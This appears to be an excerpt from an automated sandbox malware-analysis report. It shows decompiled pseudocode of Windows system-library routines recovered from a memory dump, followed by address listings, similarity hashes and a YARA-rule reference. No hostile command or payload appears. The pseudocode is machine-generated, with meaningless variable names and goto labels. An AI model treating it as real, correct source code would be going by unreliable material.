										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L009F4620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E00A1F720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E00A1F720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E009D52A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E009EEB70(1, 0xac79a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E009EAA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E00A195D0();
																			L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E00A1B640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E00A13D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E00A1B640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x009f4128
0x009f4135
0x009f413c
0x009f4141
0x009f4145
0x009f4147
0x009f414e
0x009f4151
0x009f4159
0x009f415c
0x009f4160
0x009f4164
0x009f4168
0x009f416c
0x009f417f
0x009f4181
0x009f446a
0x009f446a
0x009f418c
0x009f4195
0x009f4199
0x009f4432
0x009f4439
0x009f443d
0x009f4442
0x009f4447
0x00000000
0x009f419f
0x009f41a3
0x009f41b1
0x009f41b9
0x009f41bd
0x009f45db
0x009f45db
0x00000000
0x009f41c3
0x009f41c3
0x009f41ce
0x009f41d4
0x00a3e138
0x00a3e13e
0x00a3e169
0x00a3e16d
0x00a3e19e
0x00a3e16f
0x00a3e16f
0x00a3e175
0x00a3e179
0x00a3e18f
0x00a3e193
0x00000000
0x00a3e199
0x00000000
0x00a3e199
0x00a3e193
0x00000000
0x00000000
0x00000000
0x009f41da
0x009f41da
0x009f41df
0x009f41e4
0x009f41ec
0x009f4203
0x009f4207
0x00a3e1fd
0x009f4222
0x009f4226
0x00a3e1f3
0x00a3e1f3
0x009f422c
0x009f422c
0x009f4233
0x00a3e1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x009f4239
0x009f4239
0x009f4239
0x009f4239
0x009f4233
0x009f4226
0x009f41ee
0x009f41ee
0x009f41f4
0x009f4575
0x00a3e1b1
0x00a3e1b1
0x00000000
0x009f457b
0x009f457b
0x009f4582
0x00a3e1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x009f4588
0x009f4588
0x009f458c
0x00a3e1c4
0x00a3e1c4
0x00000000
0x009f4592
0x009f4592
0x009f4599
0x00a3e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x009f459f
0x009f459f
0x009f45a3
0x00a3e1d7
0x00a3e1e4
0x00000000
0x009f45a9
0x009f45a9
0x009f45b0
0x00a3e1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x009f45b6
0x009f45b6
0x009f45b6
0x00000000
0x009f45b6
0x009f45b0
0x009f45a3
0x009f4599
0x009f458c
0x009f4582
0x00000000
0x00000000
0x00000000
0x00000000
0x009f41f4
0x009f423e
0x009f4241
0x009f45c0
0x009f45c4
0x00000000
0x009f45ca
0x009f45ca
0x00000000
0x00a3e207
0x00a3e20f
0x00000000
0x00000000
0x00000000
0x00000000
0x009f45d1
0x00000000
0x00000000
0x009f45ca
0x00000000
0x009f4247
0x009f4247
0x009f4247
0x009f4249
0x009f4249
0x009f4249
0x009f4251
0x009f4251
0x009f4257
0x009f425f
0x009f426e
0x009f4270
0x009f427a
0x00a3e219
0x00a3e219
0x009f4280
0x009f4282
0x009f4456
0x009f45ea
0x00000000
0x009f45f0
0x00a3e223
0x00000000
0x00a3e223
0x009f445c
0x009f445c
0x00000000
0x009f445c
0x00000000
0x009f4288
0x009f428c
0x00a3e298
0x009f4292
0x009f4292
0x009f429e
0x009f42a3
0x009f42a7
0x009f42ac
0x00a3e22d
0x009f42b2
0x009f42b2
0x009f42b9
0x009f42bc
0x009f42c2
0x009f42ca
0x009f42cd
0x009f42cd
0x009f42d4
0x009f433f
0x009f433f
0x009f42d6
0x009f42d6
0x009f42d9
0x009f42dd
0x009f42eb
0x00a3e23a
0x009f42f1
0x009f4305
0x009f430d
0x009f4315
0x009f4318
0x009f431f
0x009f4322
0x009f432e
0x009f433b
0x009f433b
0x00000000
0x009f432e
0x009f42eb
0x009f434c
0x009f434e
0x009f4352
0x009f4359
0x009f435e
0x009f4361
0x009f436e
0x009f438a
0x009f438e
0x009f4396
0x009f439e
0x009f43a1
0x009f43ad
0x009f43bb
0x009f43bb
0x009f43ad
0x009f436e
0x009f43bf
0x009f43c5
0x009f4463
0x009f4463
0x009f43ce
0x009f43d5
0x009f43d9
0x009f43df
0x009f4475
0x009f4479
0x009f4491
0x009f4491
0x009f4479
0x009f43e5
0x009f43eb
0x009f43f4
0x009f43f6
0x009f43f9
0x009f43fc
0x009f43ff
0x009f44e8
0x009f44ed
0x009f44f3
0x00a3e247
0x00000000
0x009f44f9
0x009f4504
0x009f4508
0x009f450f
0x00a3e269
0x00000000
0x009f4515
0x009f4519
0x009f4531
0x009f4534
0x009f4537
0x009f453e
0x009f4541
0x009f454a
0x00a3e255
0x00a3e255
0x00a3e25b
0x00a3e25e
0x00a3e261
0x00a3e261
0x009f4555
0x009f4559
0x009f455d
0x00a3e26d
0x00a3e270
0x00a3e274
0x00a3e27a
0x00a3e27d
0x00a3e28e
0x00a3e28e
0x009f4563
0x009f4563
0x009f4569
0x009f4569
0x00000000
0x009f455d
0x009f450f
0x00000000
0x009f44f3
0x009f43ff
0x009f4405
0x009f4405
0x009f4405
0x009f42ac
0x009f428c
0x009f4282
0x009f4407
0x009f440d
0x00a3e2af
0x00a3e2af
0x009f4413
0x009f4413
0x00000000
0x009f41d4
0x00000000
0x009f41c3
0x009f41bd
0x009f4415
0x009f4415
0x009f4416
0x009f4417
0x009f4429
0x009f416e
0x009f416e
0x009f4175
0x009f4498
0x009f449f
0x00a3e12d
0x00000000
0x00a3e133
0x00000000
0x00a3e133
0x009f44a5
0x009f44a5
0x009f44aa
0x00000000
0x009f44bb
0x009f44ca
0x009f44d6
0x009f44d7
0x009f44d8
0x009f44e3
0x009f44e3
0x009f44aa
0x009f417b
0x009f417b
0x009f417b
0x00000000
0x009f417b
0x009f4175
0x00000000

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c45fd8dd6dd15f70f8738d71d40dc2fa8d23743212b7ed8d2e9b7628147ee07
Instruction ID: f2f9c68e5ad035caf15aae1ce96a6490e1d36fb9615b57892f6872b8cf6aa1dc
Opcode Fuzzy Hash: 1c45fd8dd6dd15f70f8738d71d40dc2fa8d23743212b7ed8d2e9b7628147ee07
Instruction Fuzzy Hash: 15F18B706082158BCB24CF59C480A7BB7E5FF98714F14492EF99ACB2A0E738DC95DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00A020A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00A020A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0xac8714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E00A02EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E00A02EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E009D58EC(_t240);
									_t221 =  *0xac5cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0xac5cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E00A14A2C(0xac6e40, 0xa14b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E009F7D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x9b5c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E00A0F6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E00A0F6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E00A57016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L009F2400(_t267 + 0x20);
															}
															L009F2400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E00A02397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E009F2280(_t134, 0xac8608);
									__eflags =  *0xac6e48 - _t253; // 0x0
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E009EFFB0(_t198, _t241, 0xac8608);
										__eflags = _t253;
										if(_t253 != 0) {
											L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0xac6e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0xac8608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E00A06B90(_t210,  &_v64);
										_t262 =  *0xac8608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E00A0E180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E00A197C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E00A1006A(0xac8608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0xac8608);
												E00A1B180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0xac6904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0xac6e48; // 0x0
							_v72 = _t229;
							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								E009EFFB0(_t198, _t240, 0xac8608);
								_t253 = _v76;
								goto L29;
							} else {
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E00A100C2(0xac8608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x00a020a0
0x00a020a8
0x00a020ad
0x00a020b3
0x00a020b8
0x00a020c2
0x00a020c7
0x00a020cb
0x00a020d2
0x00a02263
0x00a02266
0x00a45836
0x00a45836
0x00000000
0x00a0226c
0x00a0226c
0x00a02270
0x00a02274
0x00a020e2
0x00a020e2
0x00a020e6
0x00a020ee
0x00a457dc
0x00a457de
0x00a457ec
0x00a457ec
0x00a457f1
0x00a457f3
0x00a457f8
0x00000000
0x00a457f8
0x00a457e0
0x00a457e4
0x00a457ea
0x00000000
0x00000000
0x00000000
0x00a457ea
0x00a020f4
0x00a020f4
0x00a020f8
0x00a020f8
0x00a020fc
0x00a02100
0x00a02106
0x00a02201
0x00a02206
0x00a0220b
0x00a0220e
0x00a022a9
0x00a022ac
0x00000000
0x00000000
0x00a022b2
0x00a022b5
0x00a45801
0x00a45806
0x00000000
0x00000000
0x00a45810
0x00a45815
0x00a45818
0x00000000
0x00000000
0x00a4581e
0x00a022bb
0x00a022bb
0x00a02218
0x00a02218
0x00a0221c
0x00a02220
0x00a02222
0x00a022c2
0x00a022c4
0x00a022dc
0x00a022dc
0x00a022e1
0x00000000
0x00000000
0x00000000
0x00a022e7
0x00a022c8
0x00a022cd
0x00a022d3
0x00a022d6
0x00a45823
0x00a45825
0x00a45827
0x00000000
0x00000000
0x00a4582d
0x00000000
0x00a4582d
0x00000000
0x00a02228
0x00a02228
0x00000000
0x00a02228
0x00a02222
0x00a02214
0x00a02214
0x00000000
0x00a02114
0x00a02114
0x00a02114
0x00a0211a
0x00a0211c
0x00a02348
0x00a0234d
0x00a45840
0x00a45845
0x00a45848
0x00a4584e
0x00a4584e
0x00a45848
0x00a02353
0x00a02355
0x00a02388
0x00a02388
0x00a02368
0x00a0236a
0x00a0236c
0x00a0238f
0x00000000
0x00a0236e
0x00a0236e
0x00a0218e
0x00a0218e
0x00a02191
0x00a02195
0x00a45a03
0x00a45a06
0x00a45a0c
0x00a45a0f
0x00a45a11
0x00a45a13
0x00a45a13
0x00a45a19
0x00a45a1f
0x00000000
0x00a0219b
0x00a0219b
0x00a021a0
0x00a02282
0x00a02284
0x00a02284
0x00a02284
0x00a02284
0x00a021a6
0x00a021a9
0x00a021ac
0x00a021ae
0x00a021b3
0x00a0228b
0x00a02290
0x00a02379
0x00a02296
0x00a02298
0x00a02298
0x00a02290
0x00a021b9
0x00a021be
0x00a022a2
0x00a022a2
0x00a021c4
0x00a021c8
0x00a021cc
0x00a021d0
0x00a021d4
0x00a021de
0x00a021e3
0x00a45a29
0x00a45a2c
0x00000000
0x00000000
0x00a45a3b
0x00000000
0x00a021e9
0x00a021e9
0x00a021e9
0x00a021ee
0x00a021f1
0x00a45a45
0x00a45a4b
0x00a45a52
0x00a45a58
0x00a45a5d
0x00a45a5f
0x00a45a71
0x00a45a61
0x00a45a6a
0x00a45a6a
0x00a45a76
0x00a45a79
0x00a45a7f
0x00a45a83
0x00a45a85
0x00a45a87
0x00a45a87
0x00a45a8c
0x00a45a91
0x00a45a97
0x00a45a9f
0x00a45aa0
0x00a45aa1
0x00a45aa6
0x00a45aab
0x00a45ab1
0x00a45ab3
0x00a45ab9
0x00a45aca
0x00a45ad4
0x00a45ad4
0x00a45ade
0x00a45ade
0x00a45aab
0x00a45a79
0x00a45a52
0x00a021f7
0x00a021f9
0x00a021fe
0x00a021fe
0x00a021e3
0x00a02195
0x00a0236c
0x00a02122
0x00a02122
0x00a02124
0x00a02231
0x00a02236
0x00a02236
0x00a02238
0x00a02238
0x00a02240
0x00a02242
0x00a02244
0x00a459fc
0x00a0218c
0x00a0218c
0x00000000
0x00a0218c
0x00a0224a
0x00a0224f
0x00a02256
0x00a02304
0x00a02309
0x00a0230f
0x00a0231e
0x00a0231e
0x00a0231e
0x00a02320
0x00a02325
0x00a0232a
0x00a0232c
0x00a0233e
0x00a0233e
0x00000000
0x00a0232c
0x00a02311
0x00a02317
0x00a0231a
0x00a0231c
0x00a02380
0x00a02380
0x00a02380
0x00a02384
0x00000000
0x00000000
0x00a02386
0x00000000
0x00a0231c
0x00a0225c
0x00a0225c
0x00000000
0x00a0225c
0x00a0212a
0x00a02134
0x00a02138
0x00a0213d
0x00a45858
0x00a45863
0x00a45863
0x00a45867
0x00a4586a
0x00000000
0x00000000
0x00a4586c
0x00a4586c
0x00a45871
0x00a45875
0x00a45877
0x00a45997
0x00a4599c
0x00a459a1
0x00a459a7
0x00a459a7
0x00000000
0x00a459a7
0x00a4587d
0x00000000
0x00a4588b
0x00a4588b
0x00a45890
0x00a45892
0x00a45894
0x00a45899
0x00a4589b
0x00a458a0
0x00a458a0
0x00a458aa
0x00a458b2
0x00a458b6
0x00a458be
0x00a458c6
0x00a458c9
0x00a4590d
0x00a45917
0x00a4591a
0x00a4591c
0x00a45920
0x00a45928
0x00a4592a
0x00a4592c
0x00a4592e
0x00a4592e
0x00a458cb
0x00a458cd
0x00a458d8
0x00a458e0
0x00a458f4
0x00a458fe
0x00a458fe
0x00a4593a
0x00a4593e
0x00a45940
0x00a45942
0x00000000
0x00a45944
0x00a45944
0x00a45949
0x00a4594e
0x00a4594e
0x00a45953
0x00a4595b
0x00a45976
0x00a45976
0x00a4597a
0x00a4597f
0x00000000
0x00000000
0x00000000
0x00000000
0x00a45981
0x00a45981
0x00a45981
0x00a45983
0x00a45988
0x00a4598d
0x00a45991
0x00a45991
0x00000000
0x00a4595d
0x00a4595d
0x00a45963
0x00a45965
0x00000000
0x00000000
0x00000000
0x00000000
0x00a45967
0x00a45967
0x00a4596b
0x00a4596d
0x00000000
0x00000000
0x00a4596f
0x00a45971
0x00a45971
0x00a45974
0x00000000
0x00000000
0x00000000
0x00a45974
0x00000000
0x00a45967
0x00a4595b
0x00a45942
0x00a45863
0x00a02143
0x00a02143
0x00a02149
0x00a0214f
0x00a022f1
0x00a022f6
0x00000000
0x00a02173
0x00a02173
0x00a0217d
0x00a02181
0x00a02186
0x00a459ae
0x00a459b2
0x00a459b5
0x00a459b7
0x00a459ba
0x00a459cd
0x00a459d1
0x00a459d5
0x00a459d9
0x00a459db
0x00000000
0x00000000
0x00a459dd
0x00a459dd
0x00a459e1
0x00a459e4
0x00a459e7
0x00a459ee
